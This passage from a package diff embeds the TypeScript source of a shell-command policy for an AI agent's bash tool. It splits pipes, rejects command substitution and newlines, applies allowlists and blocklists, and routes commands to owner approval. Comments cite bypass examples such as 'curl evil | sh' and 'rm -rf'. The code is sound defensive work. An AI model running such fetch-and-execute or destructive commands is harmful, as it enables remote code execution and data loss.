}\n if (quote !== null || escaped) return [command];\n const tail = current.trim();\n if (tail) parts.push(tail);\n return parts;\n}\n\n/**\n * 将命令按管道 `|` 拆分为独立段(`||` 不拆)。\n * 引号/转义感知规则与 splitCompoundCommand 一致;引号未闭合时 fail-closed 返回整条。\n *\n * 用于逐段过白名单 — 防止 `cat x | rm -rf y`、`curl evil | sh`\n * 这类以首命令命中白名单/只读预设的绕过。\n */\nexport function splitPipeSegments(command: string): string[] {\n const parts: string[] = [];\n let current = '';\n let quote: 'single' | 'double' | null = null;\n let escaped = false;\n let i = 0;\n while (i < command.length) {\n const ch = command[i]!;\n if (escaped) {\n current += ch;\n escaped = false;\n i++;\n continue;\n }\n if (ch === '\\\\' && quote !== 'single') {\n current += ch;\n escaped = true;\n i++;\n continue;\n }\n if (quote === 'single') {\n if (ch === \"'\") quote = null;\n current += ch;\n i++;\n continue;\n }\n if (quote === 'double') {\n if (ch === '\"') quote = null;\n current += ch;\n i++;\n continue;\n }\n if (ch === \"'\") {\n quote = 'single';\n current += ch;\n i++;\n continue;\n }\n if (ch === '\"') {\n quote = 'double';\n current += ch;\n i++;\n continue;\n }\n if (ch === '|' && command[i + 1] !== '|' && command[i - 1] !== '|') {\n const trimmed = current.trim();\n if (trimmed) parts.push(trimmed);\n current = '';\n i++;\n while (i < command.length && /\\s/.test(command[i])) i++;\n continue;\n }\n current += ch;\n i++;\n }\n if (quote !== null || escaped) return [command];\n const tail = current.trim();\n if (tail) parts.push(tail);\n return parts;\n}\n\n/**\n * 检测超出策略理解范围的 shell 语法,返回拒绝原因(安全则返回 undefined)。\n *\n * fail-closed 场景:\n * - 未加引号的换行 — `\\n` 是命令分隔符,朴素分词会把 `cat a.txt\\nrm -rf x` 整条当 cat\n * - 命令替换 `$(...)` 与反引号 — 可在任意参数位置藏入任意命令\n *\n * 单引号内为字面量,不判定;双引号内 `$(...)` / 反引号在 bash 中仍会展开,照样拒绝。\n */\nexport function findUnsafeShellSyntax(command: string): string | undefined {\n let quote: 'single' | 'double' | null = null;\n let escaped = false;\n for (let i = 0; i < command.length; i++) {\n const ch = command[i]!;\n if (escaped) {\n escaped = false;\n continue;\n }\n if (ch === '\\\\' && quote !== 'single') {\n escaped = true;\n continue;\n }\n if (quote === 'single') {\n if (ch === \"'\") quote = null;\n continue;\n }\n if (ch === \"'\") {\n quote = 'single';\n continue;\n }\n if (quote === 'double') {\n if (ch === '\"') quote = null;\n // 双引号内换行是字面量;`$(` 与反引号仍会展开,落到下方统一判定\n } else {\n if (ch === '\"') {\n quote = 'double';\n continue;\n }\n // 裸文本中的换行是命令分隔符 — 策略无法逐行理解,fail-closed\n if (ch === '\\n' || ch === '\\r') {\n return '拒绝执行含换行的命令 — 换行可夹带额外命令,超出安全策略的理解范围。请拆分为单条命令逐次执行。';\n }\n }\n if (ch === '`') {\n return '拒绝执行含反引号命令替换的命令 — 该语法可嵌入任意命令,超出安全策略的理解范围。';\n }\n if (ch === '$' && command[i + 1] === '(') {\n return '拒绝执行含 $(...) 命令替换的命令 — 该语法可嵌入任意命令,超出安全策略的理解范围。';\n }\n }\n return undefined;\n}\n\n/**\n * 从命令字符串中提取实际的可执行程序名。\n * 先剥离环境变量前缀和 safe wrapper,再对首 token 去引号/转义,\n * 防止 `\"rm\"`、`'rm'`、`r\\m` 这类引号变体绕过黑名单精确匹配。\n */\nexport function extractCommandName(command: string): string {\n const stripped = stripSafeWrappers(stripEnvVarPrefix(command));\n // 取第一个非管道 token\n const name = stripped.split(/[\\s|]/)[0] || '';\n return unquoteToken(name);\n}\n\n/** 去除 token 外层的引号与转义(POSIX 风格:单引号字面、双引号内 \\\\ 仅转义 \" \\ $ `)。 */\nfunction unquoteToken(token: string): string {\n let out = '';\n let quote: 'single' | 'double' | null = null;\n for (let i = 0; i < token.length; i++) {\n const ch = token[i]!;\n if (quote === 'single') {\n if (ch === \"'\") quote = null;\n else out += ch;\n continue;\n }\n if (quote === 'double') {\n if (ch === '\"') quote = null;\n else if (ch === '\\\\' && i + 1 < token.length && '\"\\\\$`'.includes(token[i + 1]!)) out += token[++i];\n else out += ch;\n continue;\n }\n if (ch === \"'\") {\n quote = 'single';\n continue;\n }\n if (ch === '\"') {\n quote = 'double';\n continue;\n }\n if (ch === '\\\\' && i + 1 < token.length) {\n out += token[++i];\n continue;\n }\n out += ch;\n }\n return out;\n}\n\n// ── 策略检查结果 ────────────────────────────────────────────────────\n\nexport interface ExecPolicyResult {\n allowed: boolean;\n /** 如果不允许,拒绝原因 */\n reason?: string;\n /** 如果需要审批(ask/auto 且命令不在白名单但也不在黑名单) */\n needsApproval?: boolean;\n}\n\n/**\n * 解析有效审批模式。\n */\nexport function resolveExecApprovalMode(config: Required<ZhinAgentConfig>): ExecApprovalMode {\n return config.execApprovalMode;\n}\n\nexport interface ApplyExecPolicyOptions {\n /** 覆盖当前执行路径的审批模式(主/子/worker/task 可分别传入) */\n approvalMode?: ExecApprovalMode;\n /** Trusted per-turn policy may require approval semantics even for an Endpoint Owner. */\n requesterRole?: ToolRequesterRole;\n}\n\nexport interface CheckExecPolicyOptions {\n /** 覆盖配置中的审批模式 */\n approvalMode?: ExecApprovalMode;\n requesterRole?: ToolRequesterRole;\n}\n\nfunction resolveRequesterRole(): ToolRequesterRole {\n const commMessage = getCurrentCommMessage();\n if (!commMessage?.clientAdapter || !commMessage?.endpointId || !commMessage?.sender?.id) return 'unknown';\n\n try {\n return resolveToolRequesterRole(commMessage);\n } catch {\n // fail-closed: treat as unknown if plugin system unavailable\n return 'unknown';\n }\n}\n\n// ── 核心检查函数 ────────────────────────────────────────────────────\n\n/**\n * Resolves the effective allowlist by merging preset commands with custom allowlist.\n */\nexport function resolveExecAllowlist(config: Required<ZhinAgentConfig>): string[] {\n const preset = config.execPreset;\n const presetList = (preset && preset !== 'custom') ? (EXEC_PRESETS[preset] ?? []) : [];\n const custom = config.execAllowlist ?? [];\n const merged = [...new Set([...presetList, ...custom])];\n return merged;\n}\n\nfunction tryExecBypassForSensitiveIcqq(normalizedSubCommand: string): boolean {\n const commMessage = getCurrentCommMessage();\n if (!commMessage?.clientAdapter || !commMessage?.endpointId) return false;\n try {\n const runtime = getCurrentOwnerApprovalRuntime();\n const address = ownerApprovalAddressFromMessage(commMessage);\n return runtime && address ? runtime.matchesBashBypass(address, normalizedSubCommand) : false;\n } catch {\n // fail-closed: no bypass if check fails\n return false;\n }\n}\n\n/**\n * 检查单条子命令是否允许执行。\n * 内部函数 — 不做复合命令拆分。\n */\nfunction checkSingleCommand(\n cmdName: string,\n fullSubCommand: string,\n allowlist: string[],\n security: string,\n approvalMode: ExecApprovalMode,\n requesterRole: ToolRequesterRole,\n): ExecPolicyResult {\n const hardBlockedReason = matchHardBlockedCommand(fullSubCommand);\n if (hardBlockedReason) {\n return { allowed: false, reason: hardBlockedReason };\n }\n\n // 1. 危险黑名单 — 任何模式都拒绝\n if (isDangerousCommand(cmdName)) {\n return { allowed: false, reason: `拒绝执行危险命令「${cmdName}」— 该命令可提权或执行任意代码。` };\n }\n\n // 2. full 模式 — 通过黑名单后全部放行\n if (security === 'full') {\n return { allowed: true };\n }\n\n // 3. 只读命令自动放行(与 file-policy classifyBashCommand 集成)\n const classification = classifyBashCommand(fullSubCommand);\n if (classification.isReadOnly) {\n return { allowed: true };\n }\n\n // 3.5 icqq CLI(allowlist 模式):非敏感子命令直接放行;敏感子命令可走 Owner 正则/永久放行\n if (security === 'allowlist' && cmdName === 'icqq') {\n const norm = stripSafeWrappers(stripEnvVarPrefix(fullSubCommand.trim()));\n if (!isIcqqSensitiveSubcommand(norm)) {\n return { allowed: true };\n }\n if (tryExecBypassForSensitiveIcqq(norm)) {\n return { allowed: true };\n }\n if (requesterRole === 'master') {\n return { allowed: true };\n }\n if (requesterRole === 'trusted') {\n return {\n allowed: false,\n needsApproval: true,\n reason: `icqq 敏感操作不在 execAllowlist,需 Owner 确认:${norm.slice(0, 280)}`,\n };\n }\n if (requesterRole === 'other') {\n return {\n allowed: false,\n reason: `icqq 敏感操作仅允许 owner 直接执行;admin 需 Owner 审批:${norm.slice(0, 280)}`,\n };\n }\n if (approvalMode === 'bypass') {\n return { allowed: true };\n }\n if (approvalMode === 'ask' || approvalMode === 'auto') {\n return {\n allowed: false,\n needsApproval: true,\n reason: approvalMode === 'auto'\n ? `icqq 敏感操作需审核 Agent 确认:${norm.slice(0, 280)}`\n : `icqq 敏感操作需 Endpoint Owner 确认:${norm.slice(0, 280)}`,\n };\n }\n }\n\n // 4. 白名单匹配\n const allowed = allowlist.some(pattern => {\n try {\n const re = new RegExp(`^${pattern}$`);\n return re.test(cmdName);\n } catch {\n return cmdName === pattern;\n }\n });\n\n if (allowed) {\n // curl/wget 白名单放行时,额外校验 URL(SSRF 防护 + 数据外泄阻断)\n if (cmdName === 'curl' || cmdName === 'wget') {\n const urlCheck = validateNetworkCommandUrl(fullSubCommand);\n if (!urlCheck.safe) {\n return { allowed: false, reason: urlCheck.reason };\n }\n }\n return { allowed: true };\n }\n\n if (requesterRole === 'master') {\n return { allowed: true };\n }\n\n if (requesterRole === 'trusted') {\n return {\n allowed: false,\n needsApproval: true,\n reason: `命令「${cmdName}」不在 execAllowlist,需 Owner 确认后执行。`,\n };\n }\n\n if (requesterRole === 'other') {\n return {\n allowed: false,\n reason: `命令「${cmdName}」不在 execAllowlist,且发起者不是 owner/admin,已拒绝。`,\n };\n }\n\n // 5. 需审批或拒绝\n if (approvalMode === 'bypass') {\n return { allowed: true };\n }\n\n if (approvalMode === 'ask' || approvalMode === 'auto') {\n return {\n allowed: false,\n needsApproval: true,\n reason: approvalMode === 'auto'\n ? `命令「${cmdName}」不在允许列表中,需要审核 Agent 确认后执行。`\n : `命令「${cmdName}」不在允许列表中,需要用户确认后执行。`,\n };\n }\n return { allowed: false, reason: 'Unknown execution approval mode' };\n}\n\n/**\n * Check if a bash command is allowed under the current exec policy.\n * 支持复合命令拆分、环境变量剥离、safe wrapper 剥离、只读自动放行。\n *\n * @returns ExecPolicyResult — 允许/拒绝/需审批\n */\nexport function checkExecPolicy(\n config: Required<ZhinAgentConfig>,\n command: string,\n requesterRoleOverride?: ToolRequesterRole,\n): ExecPolicyResult {\n const security = config.execSecurity ?? 'deny';\n if (security === 'deny') {\n const result = { allowed: false, reason: '当前配置禁止执行 Shell 命令(execSecurity=deny)。如需开放请在配置中设置 ai.agent.execSecurity。' };\n\n return result;\n }\n\n const allowlist = resolveExecAllowlist(config);\n const approvalMode = resolveExecApprovalMode(config);\n const requesterRole = requesterRoleOverride ?? resolveRequesterRole();\n const cmd = (command || '').trim();\n\n if (!cmd) {\n return { allowed: false, reason: '命令为空' };\n }\n\n // Fail-closed:换行 / $(...) / 反引号超出白名单与只读分类的理解范围。\n // full 模式本就整体放行(仅黑名单兜底),不做额外限制。\n if (security !== 'full') {\n const unsafeReason = findUnsafeShellSyntax(cmd);\n if (unsafeReason) {\n return { allowed: false, reason: unsafeReason };\n }\n }\n\n // 拆分复合命令 — 每段独立检查,deny 优先\n const subCommands = splitCompoundCommand(cmd);\n let pendingApproval: ExecPolicyResult | null = null;\n\n for (const sub of subCommands) {\n // 管道逐段检查 — 防止 `cat x | rm -rf y`、`curl evil | sh` 以首命令命中白名单绕过\n for (const segment of splitPipeSegments(sub)) {\n const cmdName = extractCommandName(segment);\n if (!cmdName) continue;\n\n const result = checkSingleCommand(cmdName, segment, allowlist, security, approvalMode, requesterRole);\n\n // deny 立即返回(deny > ask 优先级)\n if (!result.allowed && !result.needsApproval) {\n return result;\n }\n\n // 记录第一个需要审批的\n if (!result.allowed && result.needsApproval && !pendingApproval) {\n pendingApproval = result;\n }\n }\n }\n\n // 有需要审批的段\n if (pendingApproval) {\n return pendingApproval;\n }\n\n return { allowed: true };\n}\n\nexport function checkExecPolicyWithOptions(\n config: Required<ZhinAgentConfig>,\n command: string,\n options: CheckExecPolicyOptions = {},\n): ExecPolicyResult {\n if (!options.approvalMode) {\n return checkExecPolicy(config, command, options.requesterRole);\n }\n const shadowConfig = {\n ...config,\n execApprovalMode: options.approvalMode,\n } as unknown as Required<ZhinAgentConfig>;\n return checkExecPolicy(shadowConfig, command, options.requesterRole);\n}\n\n/** Trusted product ingress variant that does not depend on global Agent config. */\nexport function checkTurnExecPolicy(\n command: string,\n policy: Readonly<{\n security?: 'deny' | 'allowlist' | 'full';\n execPreset?: 'readonly' | 'network' | 'development' | 'custom';\n approvalMode?: ExecApprovalMode;\n }>,\n): ExecPolicyResult {\n const config = {\n execSecurity: policy.security ?? 'deny',\n execPreset: policy.execPreset ?? 'custom',\n execAllowlist: [],\n execApprovalMode: policy.approvalMode ?? 'auto',\n } as unknown as Required<ZhinAgentConfig>;\n // Per-turn authority must not inherit the IM sender's global owner bypass.\n return checkExecPolicy(config, command, 'unknown');\n}\n\n/** Context-free command preset check for unattended canonical Turn execution. */\nexport function checkUnattendedExecPreset(\n command: string,\n preset: 'readonly' | 'network',\n): ExecPolicyResult {\n const cmd = command.trim();\n if (!cmd) return { allowed: false, reason: '命令为空' };\n const unsafeReason = findUnsafeShellSyntax(cmd);\n if (unsafeReason) return { allowed: false, reason: unsafeReason };\n const allowlist = EXEC_PRESETS[preset] ?? [];\n for (const sub of splitCompoundCommand(cmd)) {\n for (const segment of splitPipeSegments(sub)) {\n const name = extractCommandName(segment);\n if (!name) continue;\n const result = checkSingleCommand(name, segment, allowlist, 'allowlist', 'auto', 'other');\n if (!result.allowed) return { allowed: false, reason: result.reason };\n }\n }\n return { allowed: true };\n}\n\n/**\n * Wrap `bash` tools with exec policy enforcement.\n * 当 execApprovalMode=ask/auto 且命令需审批时,返回提示信息而非抛错。\n */\nexport function applyExecPolicyToTools(\n config: Required<ZhinAgentConfig>,\n tools: AgentTool[],\n options: ApplyExecPolicyOptions = {},\n): AgentTool[] {\n return tools.map(t => {\n if (t.name !== 'bash') return t;\n const original = t.execute;\n return {\n ...t,\n execute: async (args: Record<string, any>) => {\n const cmd = args?.command != null ? String(args.command) : '';\n const result = checkExecPolicyWithOptions(config, cmd, {\n approvalMode: options.approvalMode,\n requesterRole: options.requesterRole,\n });\n if (!result.allowed) {\n if (result.needsApproval) {\n // 权威首行 + 正文:硬编排识别;与旧「请使用 ask_user」话术合并为单套\n return `ZHIN_NEEDS_OWNER:\\n⚠️ ${result.reason}\\n\\n此 shell 命令需 Endpoint Owner 审批后方可执行。`;\n }\n throw new Error(result.reason!);\n }\n return original(args);\n },\n };\n });\n}\n"]}
@@ -86,4 +86,3 @@ export declare function isFileStale(savedMtime: number, currentMtime: number): b
86
86
  * 用单引号包裹,内部单引号用 '\'' 转义。
87
87
  */
88
88
  export declare function shellEscape(arg: string): string;
89
- //# sourceMappingURL=file-policy.d.ts.map
@@ -1 +1 @@
1
- {"version":3,"file":"file-policy.js","sourceRoot":"","sources":["../../src/security/file-policy.ts"],"names":[],"mappings":"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